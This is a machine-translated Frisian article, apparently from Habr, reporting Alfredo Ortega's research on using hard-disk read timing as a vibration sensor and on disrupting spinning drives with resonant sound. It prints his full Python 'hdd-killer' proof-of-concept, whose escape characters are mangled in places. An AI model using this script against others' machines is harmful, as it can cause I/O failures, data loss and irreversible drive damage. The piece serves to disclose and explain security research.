Wêrom moatte jo net skrieme op jo HDD

Wêrom moatte jo net skrieme op jo HDD

Op 'e Ekoparty 2017 komputerfeiligenskonferinsje yn Buenos Aires, liet de Argentynske hacker Alfredo Ortega in heul nijsgjirrige ûntwikkeling sjen - in systeem foar ferburgen wiretapping fan pânen sûnder in mikrofoan te brûken. Sound direkt opnommen op 'e hurde skiif!

De HDD pakt benammen lûden, fuotstappen en oare trillingen mei hege yntinsiteit op mei leechfrekwinsje. Minsklike spraak kin noch net erkend wurde, hoewol wittenskippers dogge ûndersyk yn dizze rjochting (spraakherkenning troch lege-frekwinsje trillings, dy't wurde opnommen, bygelyks, fan in gyroscope of HDD).

Lûd is de trilling fan loft of in oar medium. In persoan waarnimt se troch it trommelvlies, dy't trillingen oerbringt nei it binnenear. De mikrofoan is rûchwei ûntwurpen as in ear - ek hjir wurde trillings opnommen troch in tinne membraan, dat in elektryske ympuls opwekt. De hurde skiif is fansels ek ûnderwurpen oan mikroskopyske trillingen troch fluktuaasjes yn 'e omlizzende loft. Dit is bekend sels út de technyske skaaimerken fan HDDs: fabrikanten meastal jouwe de maksimale tastiene trilling nivo, en de hurde skiif sels faak besiket te pleatsen it yn trilling-proof container makke fan rubber of oare isolearjende materiaal. Hjirút is it maklik om te konkludearjen dat lûden kinne wurde opnommen mei HDD. Alles wat bliuwt is om út te finen hoe.

Alfredo Ortega stelde in unike ferzje foar fan in side-kanaal oanfal, nammentlik in tiid oanfal. Dizze oanfal is basearre op de oanname dat ferskate operaasjes wurde útfierd op it apparaat op ferskillende tiden, ôfhinklik fan de ynfier gegevens jûn. Yn dit gefal binne de "ynputgegevens" de trillingen fan 'e lêskop en de HDD-plater, dy't korrelearje mei de trillingen fan' e omjouwing, dat is mei lûd. Sa kinne, troch it mjitten fan de berekkeningstiid en it útfieren fan in statistyske analyze fan 'e gegevens, de trillingen fan 'e holle / platter en dêrmei de trillings fan it medium wurde mjitten. Hoe langer de fertraging yn it lêzen fan gegevens, hoe sterker de HDD-vibraasjes en, dus, hoe lûder it lûd.

Hoe kinne jo vibraasje fan hurde skiif mjitte? Hiel ienfâldich: gewoan de systeemoprop útfiere read () - en registrearje de tiid dy't it nimt om te foltôgjen. Moderne bestjoeringssystemen kinne jo de timing fan systeemoproppen lêze mei nanosekonde krektens.

De snelheid fan it lêzen fan ynformaasje fan in sektor hinget ôf fan 'e posysje fan' e holle en platter, dy't korrelearret mei trillingen fan 'e HDD-koffer. Da's alles.

Statistyske analyze wurdt útfierd mei in ienfâldich Kscope-hulpprogramma. Sa't se sizze, alles yngenieus is ienfâldich.

Wêrom moatte jo net skrieme op jo HDD
Kscope utility (stat() syscall)

Kscope is in lyts hulpprogramma foar it visualisearjen fan lytse ferskillen yn útfieringstiden fan systeemoprop. Boarnepublisearre op GitHub.

Yn in aparte repository HDD-tiid d'r is in ferzje fan it hulpprogramma konfigureare foar in tiidoanfal op 'e hurde skiif, dat is konfigureare om de systeemoprop te analysearjen read ().

Demonstraasje fan lûdopname mei HDD, wurking fan it Kscope-hulpprogramma


Fansels kin spraak net op dizze manier begrepen wurde, mar de HDD is hiel geskikt as trillingssensor. Jo kinne bygelyks registrearje as in persoan dy't hurde skuon draacht of op bleate fuotten in keamer ynkaam mei in kompjûter (wierskynlik, as de oanfaller sêfte sneakers draacht of d'r in dikke tapyt op 'e flier is, sil de HDD gjin trillings kinne registrearje - dit is it wurdich te kontrolearjen). De kompjûter is yn steat om brutsen glês of oare ynsidinten te registrearjen mei sterke lûdintensiteit. Dat is, de hurde skiif kin tsjinje as in soarte fan unautorisearre ynbraakdeteksjesysteem.

HDD killer

Trouwens, in ferlykbere technyk kin brûkt wurde om hurde skiven út te skeakeljen. Allinnich hjir ferwiderje wy oscillaasjes net fan 'e HDD, mar krekt oarsom generearje wy oscillaasjes dy't nei de HDD wurde fiede. As jo ​​lûd spielje fan in sprekker op in frekwinsje dy't resonearret mei de HDD-frekwinsje, sil it systeem gau it apparaat útsette mei in I / O-flater (de Linux-kernel skeakelt de HDD nei 120 sekonden folslein út). De hurde skiif sels kin lije ûnomkearbere skea.

Wêrom moatte jo net skrieme op jo HDD
De Linux-kernel hat de hurde skiif útskeakele nei 120 sekonden fan it leverjen fan lûd op in resonânsjefrekwinsje fia de sprekker fan 'e Edifier r19u USB-sprekker. De sprekker wurdt ynskeakele op sawat in kwart fan 'e krêft (minder dan 100 mW) en leit 20 sm fan' e HDD, rjochte op 'e tafel om trillingen te ferbetterjen. Frame út video mei in demonstraasje fan 'e HDD-moardner

It is nijsgjirrich dat sokke "oanfallen" op HDD's soms folslein per ûngelok foarkomme yn it deistich libben. Bygelyks, yn septimber 2016 waard it datasintrum fan 'e ING Bank twongen om operaasjes foar 10 oeren te stopjen nei in brânoefening. Tsientallen hurde skiven binne mislearre troch it hege lûd fan inert gas dat út silinders ûnder hege druk frijkomt. It lûd wie heul heech (mear as 130 dB), mar jo kinne net iens op 'e hurde skiven roppe - dit fergruttet de fertraging by tagong ta de HDD.

Demonstraasje fan minsklik skriemen op hurde skiven yn in datasintrum. Wachttiid mjitting


Om it resonearjende lûd te generearjen skreau Alfredo Ortega in Python-skript neamd hdd-killer (video demonstraasje).

HDD killer skript It is frij lyts, dus jo kinne it hjir yn syn gehiel publisearje.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Boarne: www.habr.com

Add a comment